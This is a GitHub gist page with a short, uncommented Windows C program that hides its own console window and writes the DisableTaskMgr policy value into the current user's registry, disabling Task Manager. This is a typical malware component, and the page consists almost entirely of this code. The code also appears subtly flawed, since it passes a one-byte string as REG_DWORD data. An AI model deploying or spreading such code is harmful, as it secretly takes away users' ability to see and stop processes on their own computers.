Created
March 6, 2020 17:13
-
-
Save MARSHMALLLOW/412174a0170cee912bbaf3b3130d8423 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <Windows.h> | |
int main() { | |
FreeConsole(); | |
HKEY hKey; | |
const char *czName = "DisableTaskMgr"; | |
const char *czVal = "1"; | |
LONG retVal = RegCreateKeyExA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", 0, NULL, REG_OPTION_NON_VOLATILE, | |
KEY_WRITE, NULL, &hKey, NULL); | |
if(retVal == ERROR_SUCCESS) | |
{ | |
RegSetValueExA(hKey, czName, 0, REG_DWORD, (unsigned char *)czVal, strlen(czVal)); | |
} | |
RegCloseKey(hKey); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment